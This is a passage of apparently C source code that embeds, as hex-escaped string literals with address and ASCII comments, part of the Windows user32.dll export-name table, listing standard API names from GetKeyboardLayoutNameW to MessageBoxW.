"\x65\x74\x4B\x65\x79\x62\x6F\x61\x72\x64\x4C\x61\x79\x6F\x75\x74" //etKeyboardLayout /* 7E4197E0 */ "\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x4B\x65\x79\x62\x6F\x61\x72" //NameW.GetKeyboar /* 7E419800 */ "\x64\x53\x74\x61\x74\x65\x00\x47\x65\x74\x4B\x65\x79\x62\x6F\x61" //dState.GetKeyboa /* 7E419820 */ "\x72\x64\x54\x79\x70\x65\x00\x47\x65\x74\x4C\x61\x73\x74\x41\x63" //rdType.GetLastAc /* 7E419840 */ "\x74\x69\x76\x65\x50\x6F\x70\x75\x70\x00\x47\x65\x74\x4C\x61\x73" //tivePopup.GetLas /* 7E419860 */ "\x74\x49\x6E\x70\x75\x74\x49\x6E\x66\x6F\x00\x47\x65\x74\x4C\x61" //tInputInfo.GetLa /* 7E419880 */ "\x79\x65\x72\x65\x64\x57\x69\x6E\x64\x6F\x77\x41\x74\x74\x72\x69" //yeredWindowAttri /* 7E4198A0 */ "\x62\x75\x74\x65\x73\x00\x47\x65\x74\x4C\x69\x73\x74\x42\x6F\x78" //butes.GetListBox /* 7E4198C0 */ "\x49\x6E\x66\x6F\x00\x47\x65\x74\x4D\x65\x6E\x75\x00\x47\x65\x74" //Info.GetMenu.Get /* 7E4198E0 */ "\x4D\x65\x6E\x75\x42\x61\x72\x49\x6E\x66\x6F\x00\x47\x65\x74\x4D" //MenuBarInfo.GetM /* 7E419900 */ "\x65\x6E\x75\x43\x68\x65\x63\x6B\x4D\x61\x72\x6B\x44\x69\x6D\x65" //enuCheckMarkDime /* 7E419920 */ "\x6E\x73\x69\x6F\x6E\x73\x00\x47\x65\x74\x4D\x65\x6E\x75\x43\x6F" //nsions.GetMenuCo /* 7E419940 */ "\x6E\x74\x65\x78\x74\x48\x65\x6C\x70\x49\x64\x00\x47\x65\x74\x4D" //ntextHelpId.GetM /* 7E419960 */ "\x65\x6E\x75\x44\x65\x66\x61\x75\x6C\x74\x49\x74\x65\x6D\x00\x47" //enuDefaultItem.G /* 7E419980 */ "\x65\x74\x4D\x65\x6E\x75\x49\x6E\x66\x6F\x00\x47\x65\x74\x4D\x65" //etMenuInfo.GetMe /* 7E4199A0 */ "\x6E\x75\x49\x74\x65\x6D\x43\x6F\x75\x6E\x74\x00\x47\x65\x74\x4D" //nuItemCount.GetM /* 7E4199C0 */ "\x65\x6E\x75\x49\x74\x65\x6D\x49\x44\x00\x47\x65\x74\x4D\x65\x6E" //enuItemID.GetMen /* 7E4199E0 */ "\x75\x49\x74\x65\x6D\x49\x6E\x66\x6F\x41\x00\x47\x65\x74\x4D\x65" //uItemInfoA.GetMe /* 7E419A00 */ "\x6E\x75\x49\x74\x65\x6D\x49\x6E\x66\x6F\x57\x00\x47\x65\x74\x4D" //nuItemInfoW.GetM /* 7E419A20 */ "\x65\x6E\x75\x49\x74\x65\x6D\x52\x65\x63\x74\x00\x47\x65\x74\x4D" //enuItemRect.GetM /* 7E419A40 */ "\x65\x6E\x75\x53\x74\x61\x74\x65\x00\x47\x65\x74\x4D\x65\x6E\x75" //enuState.GetMenu /* 7E419A60 */ "\x53\x74\x72\x69\x6E\x67\x41\x00\x47\x65\x74\x4D\x65\x6E\x75\x53" //StringA.GetMenuS /* 7E419A80 */ "\x74\x72\x69\x6E\x67\x57\x00\x47\x65\x74\x4D\x65\x73\x73\x61\x67" //tringW.GetMessag /* 7E419AA0 */ "\x65\x41\x00\x47\x65\x74\x4D\x65\x73\x73\x61\x67\x65\x45\x78\x74" //eA.GetMessageExt /* 7E419AC0 */ "\x72\x61\x49\x6E\x66\x6F\x00\x47\x65\x74\x4D\x65\x73\x73\x61\x67" //raInfo.GetMessag /* 7E419AE0 */ "\x65\x50\x6F\x73\x00\x47\x65\x74\x4D\x65\x73\x73\x61\x67\x65\x54" //ePos.GetMessageT /* 7E419B00 */ "\x69\x6D\x65\x00\x47\x65\x74\x4D\x65\x73\x73\x61\x67\x65\x57\x00" //ime.GetMessageW. /* 7E419B20 */ "\x47\x65\x74\x4D\x6F\x6E\x69\x74\x6F\x72\x49\x6E\x66\x6F\x41\x00" //GetMonitorInfoA. /* 7E419B40 */ "\x47\x65\x74\x4D\x6F\x6E\x69\x74\x6F\x72\x49\x6E\x66\x6F\x57\x00" //GetMonitorInfoW. /* 7E419B60 */ "\x47\x65\x74\x4D\x6F\x75\x73\x65\x4D\x6F\x76\x65\x50\x6F\x69\x6E" //GetMouseMovePoin /* 7E419B80 */ "\x74\x73\x45\x78\x00\x47\x65\x74\x4E\x65\x78\x74\x44\x6C\x67\x47" //tsEx.GetNextDlgG /* 7E419BA0 */ "\x72\x6F\x75\x70\x49\x74\x65\x6D\x00\x47\x65\x74\x4E\x65\x78\x74" //roupItem.GetNext /* 7E419BC0 */ "\x44\x6C\x67\x54\x61\x62\x49\x74\x65\x6D\x00\x47\x65\x74\x4F\x70" //DlgTabItem.GetOp /* 7E419BE0 */ "\x65\x6E\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x57\x69\x6E\x64\x6F" //enClipboardWindo /* 7E419C00 */ "\x77\x00\x47\x65\x74\x50\x61\x72\x65\x6E\x74\x00\x47\x65\x74\x50" //w.GetParent.GetP /* 7E419C20 */ "\x72\x69\x6F\x72\x69\x74\x79\x43\x6C\x69\x70\x62\x6F\x61\x72\x64" //riorityClipboard /* 7E419C40 */ "\x46\x6F\x72\x6D\x61\x74\x00\x47\x65\x74\x50\x72\x6F\x63\x65\x73" //Format.GetProces /* 7E419C60 */ "\x73\x44\x65\x66\x61\x75\x6C\x74\x4C\x61\x79\x6F\x75\x74\x00\x47" //sDefaultLayout.G /* 7E419C80 */ "\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x57\x69\x6E\x64\x6F\x77\x53" //etProcessWindowS /* 7E419CA0 */ "\x74\x61\x74\x69\x6F\x6E\x00\x47\x65\x74\x50\x72\x6F\x67\x6D\x61" //tation.GetProgma /* 7E419CC0 */ "\x6E\x57\x69\x6E\x64\x6F\x77\x00\x47\x65\x74\x50\x72\x6F\x70\x41" //nWindow.GetPropA /* 7E419CE0 */ "\x00\x47\x65\x74\x50\x72\x6F\x70\x57\x00\x47\x65\x74\x51\x75\x65" //.GetPropW.GetQue /* 7E419D00 */ "\x75\x65\x53\x74\x61\x74\x75\x73\x00\x47\x65\x74\x52\x61\x77\x49" //ueStatus.GetRawI /* 7E419D20 */ "\x6E\x70\x75\x74\x42\x75\x66\x66\x65\x72\x00\x47\x65\x74\x52\x61" //nputBuffer.GetRa /* 7E419D40 */ "\x77\x49\x6E\x70\x75\x74\x44\x61\x74\x61\x00\x47\x65\x74\x52\x61" //wInputData.GetRa /* 7E419D60 */ "\x77\x49\x6E\x70\x75\x74\x44\x65\x76\x69\x63\x65\x49\x6E\x66\x6F" //wInputDeviceInfo /* 7E419D80 */ "\x41\x00\x47\x65\x74\x52\x61\x77\x49\x6E\x70\x75\x74\x44\x65\x76" //A.GetRawInputDev /* 7E419DA0 */ "\x69\x63\x65\x49\x6E\x66\x6F\x57\x00\x47\x65\x74\x52\x61\x77\x49" //iceInfoW.GetRawI /* 7E419DC0 */ "\x6E\x70\x75\x74\x44\x65\x76\x69\x63\x65\x4C\x69\x73\x74\x00\x47" //nputDeviceList.G /* 7E419DE0 */ "\x65\x74\x52\x65\x61\x73\x6F\x6E\x54\x69\x74\x6C\x65\x46\x72\x6F" //etReasonTitleFro /* 7E419E00 */ "\x6D\x52\x65\x61\x73\x6F\x6E\x43\x6F\x64\x65\x00\x47\x65\x74\x52" //mReasonCode.GetR /* 7E419E20 */ "\x65\x67\x69\x73\x74\x65\x72\x65\x64\x52\x61\x77\x49\x6E\x70\x75" //egisteredRawInpu /* 7E419E40 */ "\x74\x44\x65\x76\x69\x63\x65\x73\x00\x47\x65\x74\x53\x63\x72\x6F" //tDevices.GetScro /* 7E419E60 */ "\x6C\x6C\x42\x61\x72\x49\x6E\x66\x6F\x00\x47\x65\x74\x53\x63\x72" //llBarInfo.GetScr /* 7E419E80 */ "\x6F\x6C\x6C\x49\x6E\x66\x6F\x00\x47\x65\x74\x53\x63\x72\x6F\x6C" //ollInfo.GetScrol /* 7E419EA0 */ "\x6C\x50\x6F\x73\x00\x47\x65\x74\x53\x63\x72\x6F\x6C\x6C\x52\x61" //lPos.GetScrollRa /* 7E419EC0 */ "\x6E\x67\x65\x00\x47\x65\x74\x53\x68\x65\x6C\x6C\x57\x69\x6E\x64" //nge.GetShellWind /* 7E419EE0 */ "\x6F\x77\x00\x47\x65\x74\x53\x75\x62\x4D\x65\x6E\x75\x00\x47\x65" //ow.GetSubMenu.Ge /* 7E419F00 */ "\x74\x53\x79\x73\x43\x6F\x6C\x6F\x72\x00\x47\x65\x74\x53\x79\x73" //tSysColor.GetSys /* 7E419F20 */ "\x43\x6F\x6C\x6F\x72\x42\x72\x75\x73\x68\x00\x47\x65\x74\x53\x79" //ColorBrush.GetSy /* 7E419F40 */ "\x73\x74\x65\x6D\x4D\x65\x6E\x75\x00\x47\x65\x74\x53\x79\x73\x74" //stemMenu.GetSyst /* 7E419F60 */ "\x65\x6D\x4D\x65\x74\x72\x69\x63\x73\x00\x47\x65\x74\x54\x61\x62" //emMetrics.GetTab /* 7E419F80 */ "\x62\x65\x64\x54\x65\x78\x74\x45\x78\x74\x65\x6E\x74\x41\x00\x47" //bedTextExtentA.G /* 7E419FA0 */ "\x65\x74\x54\x61\x62\x62\x65\x64\x54\x65\x78\x74\x45\x78\x74\x65" //etTabbedTextExte /* 7E419FC0 */ "\x6E\x74\x57\x00\x47\x65\x74\x54\x61\x73\x6B\x6D\x61\x6E\x57\x69" //ntW.GetTaskmanWi /* 7E419FE0 */ "\x6E\x64\x6F\x77\x00\x47\x65\x74\x54\x68\x72\x65\x61\x64\x44\x65" //ndow.GetThreadDe /* 7E41A000 */ "\x73\x6B\x74\x6F\x70\x00\x47\x65\x74\x54\x69\x74\x6C\x65\x42\x61" //sktop.GetTitleBa /* 7E41A020 */ "\x72\x49\x6E\x66\x6F\x00\x47\x65\x74\x54\x6F\x70\x57\x69\x6E\x64" //rInfo.GetTopWind /* 7E41A040 */ "\x6F\x77\x00\x47\x65\x74\x55\x70\x64\x61\x74\x65\x52\x65\x63\x74" //ow.GetUpdateRect /* 7E41A060 */ "\x00\x47\x65\x74\x55\x70\x64\x61\x74\x65\x52\x67\x6E\x00\x47\x65" //.GetUpdateRgn.Ge /* 7E41A080 */ "\x74\x55\x73\x65\x72\x4F\x62\x6A\x65\x63\x74\x49\x6E\x66\x6F\x72" //tUserObjectInfor /* 7E41A0A0 */ "\x6D\x61\x74\x69\x6F\x6E\x41\x00\x47\x65\x74\x55\x73\x65\x72\x4F" //mationA.GetUserO /* 7E41A0C0 */ "\x62\x6A\x65\x63\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E" //bjectInformation /* 7E41A0E0 */ "\x57\x00\x47\x65\x74\x55\x73\x65\x72\x4F\x62\x6A\x65\x63\x74\x53" //W.GetUserObjectS /* 7E41A100 */ "\x65\x63\x75\x72\x69\x74\x79\x00\x47\x65\x74\x57\x69\x6E\x53\x74" //ecurity.GetWinSt /* 7E41A120 */ "\x61\x74\x69\x6F\x6E\x49\x6E\x66\x6F\x00\x47\x65\x74\x57\x69\x6E" //ationInfo.GetWin /* 7E41A140 */ "\x64\x6F\x77\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x43\x6F\x6E" //dow.GetWindowCon /* 7E41A160 */ "\x74\x65\x78\x74\x48\x65\x6C\x70\x49\x64\x00\x47\x65\x74\x57\x69" //textHelpId.GetWi /* 7E41A180 */ "\x6E\x64\x6F\x77\x44\x43\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77" //ndowDC.GetWindow /* 7E41A1A0 */ "\x49\x6E\x66\x6F\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x4C\x6F" //Info.GetWindowLo /* 7E41A1C0 */ "\x6E\x67\x41\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x4C\x6F\x6E" //ngA.GetWindowLon /* 7E41A1E0 */ "\x67\x57\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x4D\x6F\x64\x75" //gW.GetWindowModu /* 7E41A200 */ "\x6C\x65\x46\x69\x6C\x65\x4E\x61\x6D\x65\x00\x47\x65\x74\x57\x69" //leFileName.GetWi /* 7E41A220 */ "\x6E\x64\x6F\x77\x4D\x6F\x64\x75\x6C\x65\x46\x69\x6C\x65\x4E\x61" //ndowModuleFileNa /* 7E41A240 */ "\x6D\x65\x41\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x4D\x6F\x64" //meA.GetWindowMod /* 7E41A260 */ "\x75\x6C\x65\x46\x69\x6C\x65\x4E\x61\x6D\x65\x57\x00\x47\x65\x74" //uleFileNameW.Get /* 7E41A280 */ "\x57\x69\x6E\x64\x6F\x77\x50\x6C\x61\x63\x65\x6D\x65\x6E\x74\x00" //WindowPlacement. /* 7E41A2A0 */ "\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x52\x65\x63\x74\x00\x47\x65" //GetWindowRect.Ge /* 7E41A2C0 */ "\x74\x57\x69\x6E\x64\x6F\x77\x52\x67\x6E\x00\x47\x65\x74\x57\x69" //tWindowRgn.GetWi /* 7E41A2E0 */ "\x6E\x64\x6F\x77\x52\x67\x6E\x42\x6F\x78\x00\x47\x65\x74\x57\x69" //ndowRgnBox.GetWi /* 7E41A300 */ "\x6E\x64\x6F\x77\x54\x65\x78\x74\x41\x00\x47\x65\x74\x57\x69\x6E" //ndowTextA.GetWin /* 7E41A320 */ "\x64\x6F\x77\x54\x65\x78\x74\x4C\x65\x6E\x67\x74\x68\x41\x00\x47" //dowTextLengthA.G /* 7E41A340 */ "\x65\x74\x57\x69\x6E\x64\x6F\x77\x54\x65\x78\x74\x4C\x65\x6E\x67" //etWindowTextLeng /* 7E41A360 */ "\x74\x68\x57\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x54\x65\x78" //thW.GetWindowTex /* 7E41A380 */ "\x74\x57\x00\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x54\x68\x72\x65" //tW.GetWindowThre /* 7E41A3A0 */ "\x61\x64\x50\x72\x6F\x63\x65\x73\x73\x49\x64\x00\x47\x65\x74\x57" //adProcessId.GetW /* 7E41A3C0 */ "\x69\x6E\x64\x6F\x77\x57\x6F\x72\x64\x00\x47\x72\x61\x79\x53\x74" //indowWord.GraySt /* 7E41A3E0 */ "\x72\x69\x6E\x67\x41\x00\x47\x72\x61\x79\x53\x74\x72\x69\x6E\x67" //ringA.GrayString /* 7E41A400 */ "\x57\x00\x48\x69\x64\x65\x43\x61\x72\x65\x74\x00\x48\x69\x6C\x69" //W.HideCaret.Hili /* 7E41A420 */ "\x74\x65\x4D\x65\x6E\x75\x49\x74\x65\x6D\x00\x49\x4D\x50\x47\x65" //teMenuItem.IMPGe /* 7E41A440 */ "\x74\x49\x4D\x45\x41\x00\x49\x4D\x50\x47\x65\x74\x49\x4D\x45\x57" //tIMEA.IMPGetIMEW /* 7E41A460 */ "\x00\x49\x4D\x50\x51\x75\x65\x72\x79\x49\x4D\x45\x41\x00\x49\x4D" //.IMPQueryIMEA.IM /* 7E41A480 */ "\x50\x51\x75\x65\x72\x79\x49\x4D\x45\x57\x00\x49\x4D\x50\x53\x65" //PQueryIMEW.IMPSe /* 7E41A4A0 */ "\x74\x49\x4D\x45\x41\x00\x49\x4D\x50\x53\x65\x74\x49\x4D\x45\x57" //tIMEA.IMPSetIMEW /* 7E41A4C0 */ "\x00\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x44\x64\x65\x43" //.ImpersonateDdeC /* 7E41A4E0 */ "\x6C\x69\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77\x00\x49\x6E\x53\x65" //lientWindow.InSe /* 7E41A500 */ "\x6E\x64\x4D\x65\x73\x73\x61\x67\x65\x00\x49\x6E\x53\x65\x6E\x64" //ndMessage.InSend /* 7E41A520 */ "\x4D\x65\x73\x73\x61\x67\x65\x45\x78\x00\x49\x6E\x66\x6C\x61\x74" //MessageEx.Inflat /* 7E41A540 */ "\x65\x52\x65\x63\x74\x00\x49\x6E\x69\x74\x69\x61\x6C\x69\x7A\x65" //eRect.Initialize /* 7E41A560 */ "\x4C\x70\x6B\x48\x6F\x6F\x6B\x73\x00\x49\x6E\x69\x74\x69\x61\x6C" //LpkHooks.Initial /* 7E41A580 */ "\x69\x7A\x65\x57\x69\x6E\x33\x32\x45\x6E\x74\x72\x79\x54\x61\x62" //izeWin32EntryTab /* 7E41A5A0 */ "\x6C\x65\x00\x49\x6E\x73\x65\x72\x74\x4D\x65\x6E\x75\x41\x00\x49" //le.InsertMenuA.I /* 7E41A5C0 */ "\x6E\x73\x65\x72\x74\x4D\x65\x6E\x75\x49\x74\x65\x6D\x41\x00\x49" //nsertMenuItemA.I /* 7E41A5E0 */ "\x6E\x73\x65\x72\x74\x4D\x65\x6E\x75\x49\x74\x65\x6D\x57\x00\x49" //nsertMenuItemW.I /* 7E41A600 */ "\x6E\x73\x65\x72\x74\x4D\x65\x6E\x75\x57\x00\x49\x6E\x74\x65\x72" //nsertMenuW.Inter /* 7E41A620 */ "\x6E\x61\x6C\x47\x65\x74\x57\x69\x6E\x64\x6F\x77\x54\x65\x78\x74" //nalGetWindowText /* 7E41A640 */ "\x00\x49\x6E\x74\x65\x72\x73\x65\x63\x74\x52\x65\x63\x74\x00\x49" //.IntersectRect.I /* 7E41A660 */ "\x6E\x76\x61\x6C\x69\x64\x61\x74\x65\x52\x65\x63\x74\x00\x49\x6E" //nvalidateRect.In /* 7E41A680 */ "\x76\x61\x6C\x69\x64\x61\x74\x65\x52\x67\x6E\x00\x49\x6E\x76\x65" //validateRgn.Inve /* 7E41A6A0 */ "\x72\x74\x52\x65\x63\x74\x00\x49\x73\x43\x68\x61\x72\x41\x6C\x70" //rtRect.IsCharAlp /* 7E41A6C0 */ "\x68\x61\x41\x00\x49\x73\x43\x68\x61\x72\x41\x6C\x70\x68\x61\x4E" //haA.IsCharAlphaN /* 7E41A6E0 */ "\x75\x6D\x65\x72\x69\x63\x41\x00\x49\x73\x43\x68\x61\x72\x41\x6C" //umericA.IsCharAl /* 7E41A700 */ "\x70\x68\x61\x4E\x75\x6D\x65\x72\x69\x63\x57\x00\x49\x73\x43\x68" //phaNumericW.IsCh /* 7E41A720 */ "\x61\x72\x41\x6C\x70\x68\x61\x57\x00\x49\x73\x43\x68\x61\x72\x4C" //arAlphaW.IsCharL /* 7E41A740 */ "\x6F\x77\x65\x72\x41\x00\x49\x73\x43\x68\x61\x72\x4C\x6F\x77\x65" //owerA.IsCharLowe /* 7E41A760 */ "\x72\x57\x00\x49\x73\x43\x68\x61\x72\x55\x70\x70\x65\x72\x41\x00" //rW.IsCharUpperA. /* 7E41A780 */ "\x49\x73\x43\x68\x61\x72\x55\x70\x70\x65\x72\x57\x00\x49\x73\x43" //IsCharUpperW.IsC /* 7E41A7A0 */ "\x68\x69\x6C\x64\x00\x49\x73\x43\x6C\x69\x70\x62\x6F\x61\x72\x64" //hild.IsClipboard /* 7E41A7C0 */ "\x46\x6F\x72\x6D\x61\x74\x41\x76\x61\x69\x6C\x61\x62\x6C\x65\x00" //FormatAvailable. /* 7E41A7E0 */ "\x49\x73\x44\x69\x61\x6C\x6F\x67\x4D\x65\x73\x73\x61\x67\x65\x00" //IsDialogMessage. /* 7E41A800 */ "\x49\x73\x44\x69\x61\x6C\x6F\x67\x4D\x65\x73\x73\x61\x67\x65\x41" //IsDialogMessageA /* 7E41A820 */ "\x00\x49\x73\x44\x69\x61\x6C\x6F\x67\x4D\x65\x73\x73\x61\x67\x65" //.IsDialogMessage /* 7E41A840 */ "\x57\x00\x49\x73\x44\x6C\x67\x42\x75\x74\x74\x6F\x6E\x43\x68\x65" //W.IsDlgButtonChe /* 7E41A860 */ "\x63\x6B\x65\x64\x00\x49\x73\x47\x55\x49\x54\x68\x72\x65\x61\x64" //cked.IsGUIThread /* 7E41A880 */ "\x00\x49\x73\x48\x75\x6E\x67\x41\x70\x70\x57\x69\x6E\x64\x6F\x77" //.IsHungAppWindow /* 7E41A8A0 */ "\x00\x49\x73\x49\x63\x6F\x6E\x69\x63\x00\x49\x73\x4D\x65\x6E\x75" //.IsIconic.IsMenu /* 7E41A8C0 */ "\x00\x49\x73\x52\x65\x63\x74\x45\x6D\x70\x74\x79\x00\x49\x73\x53" //.IsRectEmpty.IsS /* 7E41A8E0 */ "\x65\x72\x76\x65\x72\x53\x69\x64\x65\x57\x69\x6E\x64\x6F\x77\x00" //erverSideWindow. /* 7E41A900 */ "\x49\x73\x57\x69\x6E\x45\x76\x65\x6E\x74\x48\x6F\x6F\x6B\x49\x6E" //IsWinEventHookIn /* 7E41A920 */ "\x73\x74\x61\x6C\x6C\x65\x64\x00\x49\x73\x57\x69\x6E\x64\x6F\x77" //stalled.IsWindow /* 7E41A940 */ "\x00\x49\x73\x57\x69\x6E\x64\x6F\x77\x45\x6E\x61\x62\x6C\x65\x64" //.IsWindowEnabled /* 7E41A960 */ "\x00\x49\x73\x57\x69\x6E\x64\x6F\x77\x49\x6E\x44\x65\x73\x74\x72" //.IsWindowInDestr /* 7E41A980 */ "\x6F\x79\x00\x49\x73\x57\x69\x6E\x64\x6F\x77\x55\x6E\x69\x63\x6F" //oy.IsWindowUnico /* 7E41A9A0 */ "\x64\x65\x00\x49\x73\x57\x69\x6E\x64\x6F\x77\x56\x69\x73\x69\x62" //de.IsWindowVisib /* 7E41A9C0 */ "\x6C\x65\x00\x49\x73\x5A\x6F\x6F\x6D\x65\x64\x00\x4B\x69\x6C\x6C" //le.IsZoomed.Kill /* 7E41A9E0 */ "\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x72\x00\x4B\x69\x6C\x6C" //SystemTimer.Kill /* 7E41AA00 */ "\x54\x69\x6D\x65\x72\x00\x4C\x6F\x61\x64\x41\x63\x63\x65\x6C\x65" //Timer.LoadAccele /* 7E41AA20 */ "\x72\x61\x74\x6F\x72\x73\x41\x00\x4C\x6F\x61\x64\x41\x63\x63\x65" //ratorsA.LoadAcce /* 7E41AA40 */ "\x6C\x65\x72\x61\x74\x6F\x72\x73\x57\x00\x4C\x6F\x61\x64\x42\x69" //leratorsW.LoadBi /* 7E41AA60 */ "\x74\x6D\x61\x70\x41\x00\x4C\x6F\x61\x64\x42\x69\x74\x6D\x61\x70" //tmapA.LoadBitmap /* 7E41AA80 */ "\x57\x00\x4C\x6F\x61\x64\x43\x75\x72\x73\x6F\x72\x41\x00\x4C\x6F" //W.LoadCursorA.Lo /* 7E41AAA0 */ "\x61\x64\x43\x75\x72\x73\x6F\x72\x46\x72\x6F\x6D\x46\x69\x6C\x65" //adCursorFromFile /* 7E41AAC0 */ "\x41\x00\x4C\x6F\x61\x64\x43\x75\x72\x73\x6F\x72\x46\x72\x6F\x6D" //A.LoadCursorFrom /* 7E41AAE0 */ "\x46\x69\x6C\x65\x57\x00\x4C\x6F\x61\x64\x43\x75\x72\x73\x6F\x72" //FileW.LoadCursor /* 7E41AB00 */ "\x57\x00\x4C\x6F\x61\x64\x49\x63\x6F\x6E\x41\x00\x4C\x6F\x61\x64" //W.LoadIconA.Load /* 7E41AB20 */ "\x49\x63\x6F\x6E\x57\x00\x4C\x6F\x61\x64\x49\x6D\x61\x67\x65\x41" //IconW.LoadImageA /* 7E41AB40 */ "\x00\x4C\x6F\x61\x64\x49\x6D\x61\x67\x65\x57\x00\x4C\x6F\x61\x64" //.LoadImageW.Load /* 7E41AB60 */ "\x4B\x65\x79\x62\x6F\x61\x72\x64\x4C\x61\x79\x6F\x75\x74\x41\x00" //KeyboardLayoutA. /* 7E41AB80 */ "\x4C\x6F\x61\x64\x4B\x65\x79\x62\x6F\x61\x72\x64\x4C\x61\x79\x6F" //LoadKeyboardLayo /* 7E41ABA0 */ "\x75\x74\x45\x78\x00\x4C\x6F\x61\x64\x4B\x65\x79\x62\x6F\x61\x72" //utEx.LoadKeyboar /* 7E41ABC0 */ "\x64\x4C\x61\x79\x6F\x75\x74\x57\x00\x4C\x6F\x61\x64\x4C\x6F\x63" //dLayoutW.LoadLoc /* 7E41ABE0 */ "\x61\x6C\x46\x6F\x6E\x74\x73\x00\x4C\x6F\x61\x64\x4D\x65\x6E\x75" //alFonts.LoadMenu /* 7E41AC00 */ "\x41\x00\x4C\x6F\x61\x64\x4D\x65\x6E\x75\x49\x6E\x64\x69\x72\x65" //A.LoadMenuIndire /* 7E41AC20 */ "\x63\x74\x41\x00\x4C\x6F\x61\x64\x4D\x65\x6E\x75\x49\x6E\x64\x69" //ctA.LoadMenuIndi /* 7E41AC40 */ "\x72\x65\x63\x74\x57\x00\x4C\x6F\x61\x64\x4D\x65\x6E\x75\x57\x00" //rectW.LoadMenuW. /* 7E41AC60 */ "\x4C\x6F\x61\x64\x52\x65\x6D\x6F\x74\x65\x46\x6F\x6E\x74\x73\x00" //LoadRemoteFonts. /* 7E41AC80 */ "\x4C\x6F\x61\x64\x53\x74\x72\x69\x6E\x67\x41\x00\x4C\x6F\x61\x64" //LoadStringA.Load /* 7E41ACA0 */ "\x53\x74\x72\x69\x6E\x67\x57\x00\x4C\x6F\x63\x6B\x53\x65\x74\x46" //StringW.LockSetF /* 7E41ACC0 */ "\x6F\x72\x65\x67\x72\x6F\x75\x6E\x64\x57\x69\x6E\x64\x6F\x77\x00" //oregroundWindow. /* 7E41ACE0 */ "\x4C\x6F\x63\x6B\x57\x69\x6E\x64\x6F\x77\x53\x74\x61\x74\x69\x6F" //LockWindowStatio /* 7E41AD00 */ "\x6E\x00\x4C\x6F\x63\x6B\x57\x69\x6E\x64\x6F\x77\x55\x70\x64\x61" //n.LockWindowUpda /* 7E41AD20 */ "\x74\x65\x00\x4C\x6F\x63\x6B\x57\x6F\x72\x6B\x53\x74\x61\x74\x69" //te.LockWorkStati /* 7E41AD40 */ "\x6F\x6E\x00\x4C\x6F\x6F\x6B\x75\x70\x49\x63\x6F\x6E\x49\x64\x46" //on.LookupIconIdF /* 7E41AD60 */ "\x72\x6F\x6D\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x00\x4C\x6F\x6F" //romDirectory.Loo /* 7E41AD80 */ "\x6B\x75\x70\x49\x63\x6F\x6E\x49\x64\x46\x72\x6F\x6D\x44\x69\x72" //kupIconIdFromDir /* 7E41ADA0 */ "\x65\x63\x74\x6F\x72\x79\x45\x78\x00\x4D\x42\x54\x6F\x57\x43\x53" //ectoryEx.MBToWCS /* 7E41ADC0 */ "\x45\x78\x00\x4D\x42\x5F\x47\x65\x74\x53\x74\x72\x69\x6E\x67\x00" //Ex.MB_GetString. /* 7E41ADE0 */ "\x4D\x61\x70\x44\x69\x61\x6C\x6F\x67\x52\x65\x63\x74\x00\x4D\x61" //MapDialogRect.Ma /* 7E41AE00 */ "\x70\x56\x69\x72\x74\x75\x61\x6C\x4B\x65\x79\x41\x00\x4D\x61\x70" //pVirtualKeyA.Map /* 7E41AE20 */ "\x56\x69\x72\x74\x75\x61\x6C\x4B\x65\x79\x45\x78\x41\x00\x4D\x61" //VirtualKeyExA.Ma /* 7E41AE40 */ "\x70\x56\x69\x72\x74\x75\x61\x6C\x4B\x65\x79\x45\x78\x57\x00\x4D" //pVirtualKeyExW.M /* 7E41AE60 */ "\x61\x70\x56\x69\x72\x74\x75\x61\x6C\x4B\x65\x79\x57\x00\x4D\x61" //apVirtualKeyW.Ma /* 7E41AE80 */ "\x70\x57\x69\x6E\x64\x6F\x77\x50\x6F\x69\x6E\x74\x73\x00\x4D\x65" //pWindowPoints.Me /* 7E41AEA0 */ "\x6E\x75\x49\x74\x65\x6D\x46\x72\x6F\x6D\x50\x6F\x69\x6E\x74\x00" //nuItemFromPoint. /* 7E41AEC0 */ "\x4D\x65\x6E\x75\x57\x69\x6E\x64\x6F\x77\x50\x72\x6F\x63\x41\x00" //MenuWindowProcA. /* 7E41AEE0 */ "\x4D\x65\x6E\x75\x57\x69\x6E\x64\x6F\x77\x50\x72\x6F\x63\x57\x00" //MenuWindowProcW. /* 7E41AF00 */ "\x4D\x65\x73\x73\x61\x67\x65\x42\x65\x65\x70\x00\x4D\x65\x73\x73" //MessageBeep.Mess /* 7E41AF20 */ "\x61\x67\x65\x42\x6F\x78\x41\x00\x4D\x65\x73\x73\x61\x67\x65\x42" //ageBoxA.MessageB /* 7E41AF40 */ "\x6F\x78\x45\x78\x41\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78" //oxExA.MessageBox /* 7E41AF60 */ "\x45\x78\x57\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x49\x6E" //ExW.MessageBoxIn /* 7E41AF80 */ "\x64\x69\x72\x65\x63\x74\x41\x00\x4D\x65\x73\x73\x61\x67\x65\x42" //directA.MessageB /* 7E41AFA0 */ "\x6F\x78\x49\x6E\x64\x69\x72\x65\x63\x74\x57\x00\x4D\x65\x73\x73" //oxIndirectW.Mess /* 7E41AFC0 */ "\x61\x67\x65\x42\x6F\x78\x54\x69\x6D\x65\x6F\x75\x74\x41\x00\x4D" //ageBoxTimeoutA.M /* 7E41AFE0 */ "\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x54\x69\x6D\x65\x6F\x75\x74" //essageBoxTimeout /* 7E41B000 */ "\x57\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x57\x00\x4D\x6F" //W.MessageBoxW.Mo /* 7E41B020 */ "\x64\x69\x66\x79\x4D\x65\x6E\x75\x41\x00\x4D\x6F\x64\x69\x66\x79" 